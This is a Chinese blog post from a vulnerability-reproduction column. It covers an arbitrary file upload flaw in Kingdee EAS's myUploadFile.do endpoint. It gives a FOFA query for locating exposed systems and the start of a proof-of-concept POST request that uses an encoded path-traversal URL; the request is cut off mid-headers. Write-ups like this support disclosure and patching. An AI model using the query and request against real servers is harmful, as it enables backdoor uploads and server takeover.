金碟EAS myUploadFile.do接口处任意文件上传

最新推荐文章于 2024-04-03 15:15:00 发布

今天晚上早睡觉

最新推荐文章于 2024-04-03 15:15:00 发布

阅读量121

点赞数

分类专栏：漏洞复现文章标签： web安全

本文链接：https://blog.csdn.net/weixin_43567873/article/details/136449491

版权

漏洞复现专栏收录该内容

360 篇文章 156 订阅 ¥9.90 ¥99.00

订阅专栏

超级会员免费看

金蝶EAS的myUploadFile.do接口存在任意文件上传漏洞，允许攻击者上传恶意后门文件，可能威胁服务器安全。通过fofa查询工具可以定位到该问题。复现过程中，特定请求包的返回内容可确认漏洞存在。解决方案是及时进行版本升级。

摘要由CSDN通过智能技术生成

0x01 产品介绍

金蝶EAS帮助企业构筑业财资税票档一体化平台，提升企业在市场竞争中的数字战斗力，其中myUploadFile.do存在任意文件上传。

0x02 漏洞概述

金碟EAS myUploadFile.do接口处存在任意文件上传漏洞，攻击者可以通过构造特殊请求包上传恶意后门文件，从而获取服务器权限。

搜索语法
fofa语法查找:app=”Kingdee-EAS”

0x03 漏洞复现

页面

poc:

POST /easportal/buffalo/%2e%2e/cm/myUploadFile.do HTTP/1.1
Host: 1.1.1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
Content-Length: 198
Accept: */*
Accept-Encoding: gzip, deflate
Con